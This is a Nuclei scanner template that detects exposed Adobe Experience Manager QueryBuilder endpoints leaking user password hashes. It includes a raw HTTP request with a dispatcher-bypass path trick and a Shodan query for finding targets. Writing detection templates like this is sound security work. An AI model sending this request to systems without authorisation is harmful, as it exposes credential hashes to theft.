nuclei-templates/http/misconfiguration/aem/aem-hash-querybuilder.yaml

33 lines
849 B
YAML

id: aem-hash-querybuilder
info:
name: Query hashed password via QueryBuilder Servlet
author: DhiyaneshDk
severity: medium
reference:
- https://twitter.com/AEMSecurity/status/1372392101829349376
metadata:
max-request: 1
shodan-query: http.component:"Adobe Experience Manager"
tags: aem,misconfig
http:
- raw:
- |
GET /bin/querybuilder.json.;%0aa.css?p.hits=full&property=rep:authorizableId&type=rep:User HTTP/1.1
Host: {{Hostname}}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- '"success":true'
- 'rep:password'
condition: and